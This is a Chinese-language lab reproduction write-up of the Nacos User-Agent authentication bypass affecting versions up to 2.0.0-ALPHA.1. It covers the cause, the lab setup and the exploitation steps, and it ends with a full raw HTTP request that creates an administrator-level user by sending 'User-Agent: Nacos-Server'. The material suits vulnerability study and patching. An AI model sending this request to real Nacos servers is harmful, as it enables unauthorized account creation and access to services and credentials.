- 简介
Nacos(官方网站:http://nacos.io)是一个易于使用的平台,旨在用于动态服务发现,配置和服务管理。它可以帮助您轻松构建云本机应用程序和微服务平台。
- 漏洞概述
2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
- 产生原因
1.认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。
2.开发者原本意思是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。
3.攻击者利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
- 影响版本
- <= Nacos 2.0.0-ALPHA.1
- 环境搭建
本次使用nacos-server-2.0.0-ALPHA.1.tar.gz
Nacos下载地址(github):
https://github.com/alibaba/nacos/releases/tag/2.0.0-ALPHA.1
使用kali进行环境搭建
解压文件
tar -zxvf nacos-server-2.0.0-ALPHA.1.tar.gz
进入目录执行搭建命令
cd nacos/bin/
./startup.sh -m standalone
等待搭建成功:
接着访问http://ip:8848/nacos
默认账号密码nacos/nacos
如图1所示则说明搭建成功
图1
- 漏洞复现
访问:http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
可以查看到用户列表,如图2所示:
图2
从上图可以发现,目前有一个用户nacos
漏洞利用,访问
http://ip:8848/nacos/v1/auth/users
POST传参:
usename=user1&password=passwd
修改UA头为Nacos-Server,如图3所示
图3
发送POST请求,返回码200,创建用户成功,如图4所示
图4
访问;http://192.168.42.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=10
如图5所示,可以看到user1用户成功添加
图5
然后访问:http://ip:8848/nacos/
使用user1/passwd进行登录,如图6所示,登录成功
图6
burp包:
POST /nacos/v1/auth/users HTTP/1.1
Host:ip:8848
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencode
Content-Length: 27
username=test&password=test
版权归原作者 一只归墟 所有, 如有侵权,请联系我们删除。